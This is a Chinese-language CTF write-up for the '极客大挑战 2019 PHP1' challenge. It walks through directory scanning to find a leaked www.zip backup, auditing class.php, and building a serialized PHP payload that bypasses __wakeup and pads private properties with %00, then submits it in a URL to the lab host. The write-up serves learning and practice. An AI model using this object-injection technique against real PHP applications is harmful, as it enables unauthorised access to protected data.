[极客大挑战 2019]PHP1

[极客大挑战 2019]PHP1 wp

[极客大挑战 2019]PHP1_第1张图片

查看网页源码和抓包都没发现什么有用的信息。

根据提示,“有一个良好的备份网站的习惯”,说明可能存在源码泄露,我们或许可以拿到他备份的源码。

使用 dirsearch 进行目录扫描
dirsearch -u "http://7085cf46-14c1-4623-9e1c-2a18fa5b4c04.node4.buuoj.cn:81/"

果然发现当前目录下存在一个名为 www.zip 的文件:

[极客大挑战 2019]PHP1_第2张图片

获取源码

直接访问路径:http://7085cf46-14c1-4623-9e1c-2a18fa5b4c04.node4.buuoj.cn:81/www.zip

下载源码。

解压后:

[极客大挑战 2019]PHP1_第3张图片

源码审计

在 flag.php 文件中发现:

$flag = 'Syc{dog_dog_dog_dog}'

提交后发现这不是真正的 flag 。

index.php :



  
  I have a cat!
  
      










因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
不愧是我!!!

Syclover @ cl4y

class.php :



include 'flag.php';





error_reporting(0);





class Name{

  private $username = 'nonono';

  private $password = 'yesyes';



  public function __construct($username,$password){$this->username = $username;$this->password = $password;
       

  }



  function __wakeup(){$this->username = 'guest';


  }



  function __destruct(){if ($this->password != 100) {echo "
NO!!!hacker!!!
"
;echo "You name is: ";echo $this->username;echo "
"
;echo "You password is: ";echo $this->password;echo "
"
;die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "
hello my friend~~
sorry i can't give you the flag!"
;die(); ​ ​ } } } ?>

显然是一道 php 反序列化题。

根据 class.php 的内容,只需要构造一个 Name 类的对象,其 username 属性值为 ‘admin’ ,password 属性值为 100 即可。

__wakeup() 绕过

__wakeup 魔术方法在执行反序列化时,会被优先调用,而不会调用 __construct 方法。

绕过方法:序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过 __wakeup 的执行。

比如:

O:6:"people":3:{s:4:"name";s:6:"张三";s:3:"age";s:2:"18"}

people 后面的值 3 大于真实属性个数 2,在反序列化时不执行 __wakeup。并且此时,反序列化会立刻强制触发 __destruct() 。

漏洞影响版本:PHP 5 < 5.6.25,PHP 7 < 7.0.10

私有属性和受保护属性的序列化

public 修饰的属性在序列化的时候没有什么特别的操作,但是对于 protected 和 private 修饰的属性,序列化时的操作是不一样的。

在 PHP 中,当对象的属性被序列化时,私有属性和受保护属性的序列化格式是特定的,以确保这些属性可以在反序列化时正确地重新创建。

对于私有属性而言,它们的序列化格式是"%00类名%00属性名"。这是因为私有属性只能在其所属的类内部访问,因此在序列化时,需要将属性名与类名结合起来来标识该私有属性。

例如,假设有一个类 MyClass,其中有一个私有属性 $privateVar,那么在序列化时,它的格式将是%00MyClass%00privateVar

对于受保护属性而言,它们的序列化格式是"%00*%00属性名"。这是因为受保护属性只能在其所属类及其子类中访问,因此在序列化时,需要使用"*"来代表它所属的类,以及属性名来标识该受保护属性。

例如,假设有一个类 MyClass,其中有一个受保护属性 $protectedVar,那么在序列化时,它的格式将是%00*%00protectedVar

这种格式在反序列化时,可以通过判断属性名前的类名或"*"来确定属性的访问级别,从而正确地重新创建对象的属性。

构造 exp

了解了上面的知识以后,就可以构造本题的题解了。



class Name{

  private $username;

  private $password;

  public function __construct($username,$password){

     $this->username = $username;

     $this->password = $password;

  }

}

$name = new Name('admin',100);

$name = serialize($name);

echo $name;

?>

这里使用构造方法赋值,直接在类里赋值也是可以的。

输出结果为:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

“Name” 是类名,后面的 2 表示该类中的属性有 2 个,为了绕过 __wakeup() ,将它改成 3(只要大于真实属性个数 2 就可以):

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

由于 username 和 password 都是私有属性,需要添加一些 %00 :

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

在 index.php 中有:$select = $_GET['select'];

直接 get 传参:

http://7085cf46-14c1-4623-9e1c-2a18fa5b4c04.node4.buuoj.cn:81/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[极客大挑战 2019]PHP1_第4张图片

拿到 flag 。

你可能感兴趣的:(ctf,php反序列化,网络安全,web安全,php)